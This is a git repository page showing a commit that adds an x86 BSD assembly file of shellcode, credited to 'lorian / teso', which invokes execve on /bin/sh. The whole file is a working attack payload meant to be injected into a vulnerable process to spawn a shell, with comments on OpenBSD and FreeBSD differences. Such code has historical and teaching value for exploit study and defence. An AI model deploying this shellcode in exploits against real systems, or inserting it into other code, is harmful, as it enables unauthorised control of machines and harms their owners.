summaryrefslogtreecommitdiff
path: root/other/shellkit/x86_bsd/execvesh.s
diff options
context:
space:
mode:
authorRoot THC2026-02-24 12:42:47 +0000
committerRoot THC2026-02-24 12:42:47 +0000
commitc9cbeced5b3f2bdd7407e29c0811e65954132540 (patch)
treeaefc355416b561111819de159ccbd86c3004cf88 /other/shellkit/x86_bsd/execvesh.s
parent073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff)
initial
Diffstat (limited to 'other/shellkit/x86_bsd/execvesh.s')
-rw-r--r--other/shellkit/x86_bsd/execvesh.s31
1 files changed, 31 insertions, 0 deletions
diff --git a/other/shellkit/x86_bsd/execvesh.s b/other/shellkit/x86_bsd/execvesh.s
new file mode 100644
index 0000000..370e7a4
--- /dev/null
+++ b/other/shellkit/x86_bsd/execvesh.s
@@ -0,0 +1,31 @@
1/* x86/BSD execve /bin/sh shellcode
2 *
3 * lorian / teso
4 */
5
6/* somehow the obsd on plan9 where i tested it, needs the labels
7 * exported with _ before, while freebsd doesnt
8 */
9
10/* argv: OBSD needs a pointer to NULL, FBSD accepts NULL */
11
12 .globl cbegin
13 .globl _cbegin
14 .globl cend
15 .globl _cend
16
17_cbegin:
18cbegin:
19 pushl $0x3b
20 popl %eax
21 cdq
22 pushl %edx
23 movl %esp, %ebx
24 push $0x68732F6E
25 push $0x69622F2F
26 pusha /* FULLPOWER */
27 pop %esi
28 pop %esi
29 int $0x80
30_cend:
31cend: